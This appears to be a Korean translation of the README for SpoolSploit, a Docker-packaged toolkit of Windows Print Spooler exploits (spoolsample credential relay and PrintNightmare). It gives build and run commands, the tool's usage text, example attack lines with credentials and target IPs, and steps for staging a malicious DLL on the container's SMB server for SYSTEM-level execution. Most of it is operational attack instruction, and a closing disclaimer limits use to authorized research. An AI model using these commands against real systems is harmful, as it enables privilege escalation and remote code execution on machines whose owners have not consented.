
Windows 프린트 스풀러 익스플로잇 모음으로, 실용적인 공격을 위해 다른 유틸리티와 함께 컨테이너화되었습니다.
실제 공격에 사용할 수 있도록 유틸리티와 함께 컨테이너화된 Windows 프린트 스풀러 익스플로잇 모음입니다.
SpoolSploit은 실제 공격에 사용할 수 있도록 유틸리티와 함께 컨테이너화된 Windows 프린트 스풀러 익스플로잇 모음입니다. 매우 효과적인 방법 중 두 가지는 시스템 계정 자격 증명을 릴레이하여 권한을 상승시키고, 엔드포인트에서 전체 시스템 액세스 권한으로 악성 DLL을 실행하는 것입니다.

출시일 기준으로 SpoolSploit Docker 컨테이너는 MacOS, Ubuntu Linux, Windows 10 최신 버전에서 성공적으로 테스트되었습니다.
필수는 아니지만, SpoolSploit 컨테이너 내에서 악성 DLL을 호스팅하거나 자격 증명 릴레이 공격을 수행하려면 Docker를 실행하는 호스트에서 포트 445를 사용 중이 아닌지 확인해야 합니다. 이는 Windows 호스트에서 이 컨테이너를 실행할 때 가장 일반적입니다. Windows 호스트는 기본적으로 포트 445를 사용하기 때문입니다. 호스트에서 포트 445를 비활성화하는 것이 실용적이지 않다면 괜찮습니다! Docker 컨테이너를 네트워크 어댑터가 브리지 모드로 구성된 가상 머신에서 실행하면 됩니다. 이렇게 하면 악성 DLL을 제공하고 자격 증명을 릴레이할 수 있습니다. 악성 DLL만 제공하려면 호스트 OS의 익명 액세스 공유나 손상된 서버 공유에 DLL을 호스팅할 수도 있습니다.
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
SpoolSploit Docker 컨테이너에는 SpoolSploit에서 spoolsample 공격을 실행하여 얻은 시스템 계정 해시를 릴레이하기 위한 Responder가 포함되어 있습니다. 권한 상승을 위해 권한 있는 시스템 계정 자격 증명을 릴레이하는 과정을 자세히 설명하는 훌륭한 문서가 여러 개 있으므로 여기서는 자세히 다루지 않겠습니다.
SpoolSploit 컨테이너에는 Impacket을 통해 구현된 SMB 서버가 포함되어 있습니다. 이 서버는 SpoolSploit에서 printnightmare 공격을 실행할 때 악성 DLL을 호스팅하는 데 사용할 수 있습니다. 기본 SMB 서버 설정이 작동하지만, 사용자 지정하려면 /home/dlogmas/smbserver/smb-v1.conf에 있는 구성 파일을 수정하면 됩니다.
해야 할 일은 DLL을 SpoolSploit 컨테이너의 SMB 서버 공유 폴더에 복사하는 것뿐입니다. 컨테이너의 공유 경로는 /home/dlogmas/smbserver/share/입니다. 다음 명령은 SpoolSploit 컨테이너에 DLL을 업로드하고 SMB 서버에서 액세스할 수 있도록 하는 방법을 보여줍니다.
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
이 개념 증명 코드는 학술 연구를 위해 작성되었으며, 명시적으로 승인된 시스템 외부에서 사용하기 위한 것이 아닙니다. 이 코드는 실행에 대한 어떠한 보증이나 약속 없이 "있는 그대로" 제공됩니다. 이 코드의 오용에 대해 저는 책임을 지지 않습니다.